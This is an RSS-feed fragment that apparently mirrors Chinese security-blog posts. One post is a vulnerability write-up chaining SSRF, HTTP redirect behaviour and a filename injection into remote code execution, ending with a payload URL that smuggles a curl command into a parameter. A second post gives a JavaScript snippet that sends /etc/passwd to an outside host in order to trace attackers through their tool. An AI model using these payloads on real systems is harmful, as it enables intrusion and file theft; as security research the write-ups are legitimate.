data-type="png" data-w="533" src="https://wechat2rss.xlab.app/img-proxy/?k=b3cfa68e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjXicAkmZXswFWy9sMzhIPxfmQz1bcR4vtphzK72sJr0p6Rsd6jCzNj57EWlaPRr61sH2UzvSYa9gQ%2F640%3Fwx_fmt%3Dpng"/></p><div style="margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Segoe UI&#34;, Arial, freesans, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);">如下图，<p style="font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background-color: rgb(240, 240, 240);border-radius: 3px;padding-top: 0.2em;padding-bottom: 0.2em;font-size: 0.85em !important;">**_update</p>是从用户自定义的配置中取的，与固定的<p style="font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background-color: rgb(240, 240, 240);border-radius: 3px;padding-top: 0.2em;padding-bottom: 0.2em;font-size: 0.85em !important;">route</p>变量拼接后作为发送文件的<p style="font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background-color: rgb(240, 240, 240);border-radius: 3px;padding-top: 0.2em;padding-bottom: 0.2em;font-size: 0.85em !important;">url</p></div><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7435185185185185" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=00f97d62&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjXicAkmZXswFWy9sMzhIPxfRkhOY4geXvH4bdb2ASAcY908jf65FTmA75FyAQqB7mGyoibP3XUJEPA%2F640%3Fwx_fmt%3Dpng"/></p><div style="margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Segoe UI&#34;, Arial, freesans, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);">这里请求用到的requests模块默认会跟随状态码<p style="font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background-color: rgb(240, 240, 240);border-radius: 3px;padding-top: 0.2em;padding-bottom: 0.2em;font-size: 0.85em !important;">30X</p>跳转，可利用该特性将这个<p style="font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background-color: rgb(240, 240, 240);border-radius: 3px;padding-top: 0.2em;padding-bottom: 0.2em;font-size: 0.85em !important;">SSRF</p>变成一个<p style="font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background-color: rgb(240, 240, 240);border-radius: 3px;padding-top: 0.2em;padding-bottom: 0.2em;font-size: 0.85em !important;">GET</p>类型的<strong style="color: rgb(0, 0, 0);">路由和参数均可控</strong>的<p style="font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background-color: rgb(240, 240, 240);border-radius: 3px;padding-top: 0.2em;padding-bottom: 0.2em;font-size: 0.85em !important;">SSRF，</p>或者请求方法不变，内容不变，路由可控的<p style="font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background-color: rgb(240, 240, 240);border-radius: 3px;padding-top: 0.2em;padding-bottom: 0.2em;font-size: 0.85em !important;">SSRF</p>，<p style="font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background-color: rgb(240, 240, 240);border-radius: 3px;padding-top: 0.2em;padding-bottom: 0.2em;font-size: 0.85em !important;">RCE</p>压力给到内部服务。</div><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.8407960199004975" data-s="300,640" style="" data-type="png" data-w="804" src="https://wechat2rss.xlab.app/img-proxy/?k=a307eb4a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjXicAkmZXswFWy9sMzhIPxfKa0iaEh1SlEwqRAnkVFvllzVqVcSQicCajIO9FHCEtjA8wcX7FMBnTMg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2994974874371859" data-s="300,640" style="" data-type="png" data-w="995" src="https://wechat2rss.xlab.app/img-proxy/?k=610aa551&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjXicAkmZXswFWy9sMzhIPxfjnQ9DyuXZpXJVVDmoGxian5MfzaGYz37UEraqJqwO0lIzY5aTGtI6Lg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Segoe UI&#34;, Arial, freesans, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);">配套知识：</p><div style="margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Segoe UI&#34;, Arial, freesans, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);">requests对<p style="font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background-color: rgb(240, 240, 240);border-radius: 3px;padding-top: 0.2em;padding-bottom: 0.2em;font-size: 0.85em !important;">30X</p>状态码调整遵循以下规则(实际上大部分http请求库都会遵循)</div><pre data-role="codeBlock" data-info="" style="padding: 0.8em;overflow: auto;line-height: 1.4;border-width: initial;border-style: initial;border-color: rgb(214, 214, 214);border-radius: 3px;margin-bottom: 16px;color: rgb(51, 51, 51);background: rgb(245, 245, 245);font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;text-align: left;word-break: normal;overflow-wrap: normal;tab-size: 8;hyphens: none;letter-spacing: normal;font-size: 0.85em !important;"><p style="font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: transparent;border-radius: 3px;word-break: normal;border-width: 0px;border-style: initial;border-color: initial;display: inline;max-width: initial;overflow: initial;line-height: inherit;overflow-wrap: normal;font-size: 0.85em !important;">304,305,306,309:    会保持原来的请求方法,但不会跳转。307,308:    会保持原请求方法,并且跳转。301,302,303:    状态码则会将请求方法转化为GET。</p></pre><h3 style="line-height: 1.2;margin-top: 1em;margin-bottom: 16px;color: rgb(0, 0, 0);font-size: 1.5em;font-weight: 600;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Segoe UI&#34;, Arial, freesans, sans-serif;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);">0x02 承</h3><div style="margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Segoe UI&#34;, Arial, freesans, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);">受这个<p style="font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background-color: rgb(240, 240, 240);border-radius: 3px;padding-top: 0.2em;padding-bottom: 0.2em;font-size: 0.85em !important;">SSRF</p>本身的限制，寻找内部服务漏洞时优先看请求方式为<p style="font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background-color: rgb(240, 240, 240);border-radius: 3px;padding-top: 0.2em;padding-bottom: 0.2em;font-size: 0.85em !important;">GET</p>的路由，筛选后找到一个符合条件的漏洞点如下图所示，传入的<p style="font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background-color: rgb(240, 240, 240);border-radius: 3px;padding-top: 0.2em;padding-bottom: 0.2em;font-size: 0.85em !important;">doc_file_path</p>参数可控，如果文件名中能带入自己的恶意<p style="font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background-color: rgb(240, 240, 240);border-radius: 3px;padding-top: 0.2em;padding-bottom: 0.2em;font-size: 0.85em !important;">Payload</p>且文件能够存在的情况下，拼接到<p style="font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background-color: rgb(240, 240, 240);border-radius: 3px;padding-top: 0.2em;padding-bottom: 0.2em;font-size: 0.85em !important;">cmd</p>变量中后有机会<p style="font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background-color: rgb(240, 240, 240);border-radius: 3px;padding-top: 0.2em;padding-bottom: 0.2em;font-size: 0.85em !important;">RCE</p>。</div><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.8555555555555555" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c9b730a3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjXicAkmZXswFWy9sMzhIPxfgyWKh8EAme9e3oUWxB3QicLV9BcuyRiaiczqJ5QiaSEFfia7ojnsEvmiayZQ%2F640%3Fwx_fmt%3Dpng"/></p><div style="margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Segoe UI&#34;, Arial, freesans, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);">走到命令拼接的前置条件是文件存在，故先查看上传部分代码，如下图所示，mkstemp方法的作用是以最安全的方式创建一个临时文件，该文件的文件名随机，创建后不会自动删除，需用户自行将其删除，<p style="font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background-color: rgb(240, 240, 240);border-radius: 3px;padding-top: 0.2em;padding-bottom: 0.2em;font-size: 0.85em !important;">suffixs</p>是指定的后缀，也就是说文件虽然可以落地，但文件名不可控，无法拼接自己的<p style="font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background-color: rgb(240, 240, 240);border-radius: 3px;padding-top: 0.2em;padding-bottom: 0.2em;font-size: 0.85em !important;">Payload</p>。</div><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7018518518518518" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=85de3b73&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjXicAkmZXswFWy9sMzhIPxf7bFiaw3C9cRBtz0Xd2C7DJibRs8t8yIo8DXkH3SPemEdG6Y5zCv7EWOw%2F640%3Fwx_fmt%3Dpng"/></p><div style="margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Segoe UI&#34;, Arial, freesans, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);">此时只能作为一个任意文件删除的漏洞来使用，配置升级链接<p style="font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background-color: rgb(240, 240, 240);border-radius: 3px;padding-top: 0.2em;padding-bottom: 0.2em;font-size: 0.85em !important;">301</p>跳转到<p style="font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background-color: rgb(240, 240, 240);border-radius: 3px;padding-top: 0.2em;padding-bottom: 0.2em;font-size: 0.85em !important;"><a href="http://127.0.0.1:8848/api/doc?doc_file_path=/etc/passwd" target="_blank">http://127.0.0.1:8848/api/doc?doc_file_path=/etc/passwd</a></p>，其中<p style="font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background-color: rgb(240, 240, 240);border-radius: 3px;padding-top: 0.2em;padding-bottom: 0.2em;font-size: 0.85em !important;">doc_file_path</p>参数为已知的存在的文件，点击系统升级按钮即可触发删除操作。</div><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.8306351183063512" data-s="300,640" style="" data-type="png" data-w="803" src="https://wechat2rss.xlab.app/img-proxy/?k=5e294eb0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjXicAkmZXswFWy9sMzhIPxfNlHEOPXMPasBibctU77oGImEhicTc8ZEDfdYyoa6ACWaV7SkSDAF23Dw%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="line-height: 1.2;margin-top: 1em;margin-bottom: 16px;color: rgb(0, 0, 0);font-size: 1.5em;font-weight: 600;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Segoe UI&#34;, Arial, freesans, sans-serif;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);">0x03 转</h3><div style="margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Segoe UI&#34;, Arial, freesans, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);">继续分析代码，阅读大量代码后找到一处上传文件的功能点如下图所示，其中<p style="font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background-color: rgb(240, 240, 240);border-radius: 3px;padding-top: 0.2em;padding-bottom: 0.2em;font-size: 0.85em !important;">file_pre</p>为源文件名，拼接下划线，时间戳以及<p style="font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background-color: rgb(240, 240, 240);border-radius: 3px;padding-top: 0.2em;padding-bottom: 0.2em;font-size: 0.85em !important;">.txt</p>后保存并返回了完整的文件路径，正好符合上面的要求。</div><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6481481481481481" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c85f7a04&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjXicAkmZXswFWy9sMzhIPxf7xBg1OqOx2tPy1vp5PBnoafFLekE6rFlIRyWAaGQ6Lu7VyM1hEuZUQ%2F640%3Fwx_fmt%3Dpng"/></p><div style="margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Segoe UI&#34;, Arial, freesans, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);">源文件名可控，路径已知，<p style="font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background-color: rgb(240, 240, 240);border-radius: 3px;padding-top: 0.2em;padding-bottom: 0.2em;font-size: 0.85em !important;">SSRF</p>升级<p style="font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background-color: rgb(240, 240, 240);border-radius: 3px;padding-top: 0.2em;padding-bottom: 0.2em;font-size: 0.85em !important;">RCE</p>变得索然无味，使用分号切割命令语句，带参数的命令可以使用<p style="font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background-color: rgb(240, 240, 240);border-radius: 3px;padding-top: 0.2em;padding-bottom: 0.2em;font-size: 0.85em !important;">${IFS}</p>绕一下空格问题，涉及到的<p style="font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background-color: rgb(240, 240, 240);border-radius: 3px;padding-top: 0.2em;padding-bottom: 0.2em;font-size: 0.85em !important;">${;</p>均为unix系统文件名允许使用范围的字符。</div><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4444444444444444" data-s="300,640" style="" data-type="png" data-w="504" src="https://wechat2rss.xlab.app/img-proxy/?k=52bd4e99&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjXicAkmZXswFWy9sMzhIPxfJOIWyuicPa18ic3ibxdXa4LZH67UyxWDaChW3eIfIuZyTOuq7ficibgvhNg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.225" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=fce83ef5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjXicAkmZXswFWy9sMzhIPxf1ic3HiaenmcebTdOIAOAH5NxHxqbdhVsrppwRAibgh8Jox3W4CkrMk9qw%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="line-height: 1.2;margin-top: 1em;margin-bottom: 16px;color: rgb(0, 0, 0);font-size: 1.5em;font-weight: 600;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Segoe UI&#34;, Arial, freesans, sans-serif;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);">0x04 合</h3><div style="margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Segoe UI&#34;, Arial, freesans, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);">硬编码秘钥 -&gt; 请求方法路由参数均不可控的鸡肋后台<p style="font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background-color: rgb(240, 240, 240);border-radius: 3px;padding-top: 0.2em;padding-bottom: 0.2em;font-size: 0.85em !important;">SSRF</p> -&gt; <p style="font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background-color: rgb(240, 240, 240);border-radius: 3px;padding-top: 0.2em;padding-bottom: 0.2em;font-size: 0.85em !important;">requests</p> <p style="font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background-color: rgb(240, 240, 240);border-radius: 3px;padding-top: 0.2em;padding-bottom: 0.2em;font-size: 0.85em !important;">30X</p>跳转特性 -&gt; 参数和路由均可控的<p style="font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background-color: rgb(240, 240, 240);border-radius: 3px;padding-top: 0.2em;padding-bottom: 0.2em;font-size: 0.85em !important;">GET</p>类型<p style="font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background-color: rgb(240, 240, 240);border-radius: 3px;padding-top: 0.2em;padding-bottom: 0.2em;font-size: 0.85em !important;">SSRF</p> -&gt; 内部服务文件名部分可控的文件上传-&gt; 内部鸡肋服务RCE -&gt; 前台RCE</div><p style="margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Segoe UI&#34;, Arial, freesans, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);">最终Payload如下:</p><pre data-role="codeBlock" data-info="" style="padding: 0.8em;overflow: auto;line-height: 1.4;border-width: initial;border-style: initial;border-color: rgb(214, 214, 214);border-radius: 3px;margin-bottom: 16px;color: rgb(51, 51, 51);background: rgb(245, 245, 245);font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;text-align: left;word-break: normal;overflow-wrap: normal;tab-size: 8;hyphens: none;letter-spacing: normal;font-size: 0.85em !important;"><p style="font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: transparent;border-radius: 3px;word-break: normal;border-width: 0px;border-style: initial;border-color: initial;display: inline;max-width: initial;overflow: initial;line-height: inherit;overflow-wrap: normal;font-size: 0.85em !important;"><a href="http://127.0.0.1:8848/api/doc?doc_file_path=" target="_blank">http://127.0.0.1:8848/api/doc?doc_file_path=</a>/opt/work/files/target_file/admin/;curl${IFS}rce.me;_1623123227304.txt</p></pre><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.8406524466750314" data-s="300,640" style="" data-type="png" data-w="797" src="https://wechat2rss.xlab.app/img-proxy/?k=9aaccff8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjXicAkmZXswFWy9sMzhIPxf01R2dPv4icVZZJIXvpL0k0vjUanq2yQuSuZann2wvJcx9NUMSasUxjA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Segoe UI&#34;, Arial, freesans, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);">配置完成手动点击一下升级功能即可触发命令执行。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.0962962962962963" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=63100ea7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjXicAkmZXswFWy9sMzhIPxfsyUbYa5Q9RUsPKaesLIkzTPUUtUbyjeliclUHfkRAOiaJfQAVnNaCkUA%2F640%3Fwx_fmt%3Dpng"/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=b3cfa68e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjXicAkmZXswFWy9sMzhIPxfmQz1bcR4vtphzK72sJr0p6Rsd6jCzNj57EWlaPRr61sH2UzvSYa9gQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=00f97d62&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjXicAkmZXswFWy9sMzhIPxfRkhOY4geXvH4bdb2ASAcY908jf65FTmA75FyAQqB7mGyoibP3XUJEPA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=a307eb4a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjXicAkmZXswFWy9sMzhIPxfKa0iaEh1SlEwqRAnkVFvllzVqVcSQicCajIO9FHCEtjA8wcX7FMBnTMg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=610aa551&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjXicAkmZXswFWy9sMzhIPxfjnQ9DyuXZpXJVVDmoGxian5MfzaGYz37UEraqJqwO0lIzY5aTGtI6Lg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c9b730a3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjXicAkmZXswFWy9sMzhIPxfgyWKh8EAme9e3oUWxB3QicLV9BcuyRiaiczqJ5QiaSEFfia7ojnsEvmiayZQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=85de3b73&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjXicAkmZXswFWy9sMzhIPxf7bFiaw3C9cRBtz0Xd2C7DJibRs8t8yIo8DXkH3SPemEdG6Y5zCv7EWOw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=5e294eb0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjXicAkmZXswFWy9sMzhIPxfNlHEOPXMPasBibctU77oGImEhicTc8ZEDfdYyoa6ACWaV7SkSDAF23Dw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c85f7a04&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjXicAkmZXswFWy9sMzhIPxf7xBg1OqOx2tPy1vp5PBnoafFLekE6rFlIRyWAaGQ6Lu7VyM1hEuZUQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=52bd4e99&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjXicAkmZXswFWy9sMzhIPxfJOIWyuicPa18ic3ibxdXa4LZH67UyxWDaChW3eIfIuZyTOuq7ficibgvhNg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=fce83ef5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjXicAkmZXswFWy9sMzhIPxf1ic3HiaenmcebTdOIAOAH5NxHxqbdhVsrppwRAibgh8Jox3W4CkrMk9qw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=9aaccff8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjXicAkmZXswFWy9sMzhIPxf01R2dPv4icVZZJIXvpL0k0vjUanq2yQuSuZann2wvJcx9NUMSasUxjA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=63100ea7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjXicAkmZXswFWy9sMzhIPxfsyUbYa5Q9RUsPKaesLIkzTPUUtUbyjeliclUHfkRAOiaJfQAVnNaCkUA%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247484260">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=fccfd2bf&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5ODE3NTU1OQ%3D%3D%26mid%3D2247484260%26idx%3D1%26sn%3Dd55a38e18796e2d602eaa52dc5b2e91e">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 30 Aug 2023 20:40:00 +0800</pubDate>
    </item>
    <item>
      <title>利用yakit功能特性溯源攻击者</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5ODE3NTU1OQ==&amp;mid=2247484236&amp;idx=1&amp;sn=ef0c14a89721800b2311d0e487388399</link>
      <description>利用yakit功能特性溯源攻击者</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2023-08-10 21:50</span> <span style="display: inline-block;">北京</span>
</p>

<p>利用yakit功能特性溯源攻击者</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=2fabd978&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWhEkLo6LFrtVoXfCjGoC4ib6r8ich8rUR3sW2mcCl8VNeALicic05LicLNhYcQQT3xQG69N0s6E5CpvuLw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="font-size: 16px;letter-spacing: normal;text-align: start;white-space: normal;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;">杜绝废话，随便在页面上嵌入一个js，内容是：</p><pre tabindex="0" style="letter-spacing: normal;font-family: Consolas, Monaco, &#34;Andale Mono&#34;, &#34;Ubuntu Mono&#34;, monospace;font-size: 13.600000381469727px;margin-top: 0.5em;margin-bottom: 0.5em;word-wrap: normal;padding: 1em;overflow: auto;line-height: 1.45;background-color: rgb(248, 248, 248);border-top-left-radius: 3px;border-top-right-radius: 3px;border-bottom-right-radius: 3px;border-bottom-left-radius: 3px;color: black;background-image: none;text-align: left;word-break: normal;tab-size: 4;-webkit-hyphens: none;"><p style="font-family: Consolas, Monaco, &#34;Andale Mono&#34;, &#34;Ubuntu Mono&#34;, monospace;font-size: 13.600000381469727px;color: rgb(9, 132, 79);border-top-left-radius: 3px;border-top-right-radius: 3px;border-bottom-right-radius: 3px;border-bottom-left-radius: 3px;word-spacing: normal;word-break: normal;word-wrap: normal;tab-size: 4;-webkit-hyphens: none;border: 0px;display: inline;overflow: visible;line-height: inherit;">&lt;script&gt;  const xhr = new XMLHttpRequest();  xhr.open(&#34;POST&#34;, &#34;<a href="http://yakit.com/filesubmit" target="_blank">http://yakit.com/filesubmit</a>&#34;);  xhr.setRequestHeader(&#34;Content-Type&#34;, &#34;application/x-www-form-urlencoded&#34;);  xhr.send(`file={{base64enc(file(/etc/passwd))}}`);&lt;/script&gt;</p></pre><p style="font-size: 16px;letter-spacing: normal;text-align: start;white-space: normal;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;">可自由发挥，读任意文件。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4361111111111111" data-s="300,640" style="width: 578px;height: auto;" data-type="png" data-w="1080" 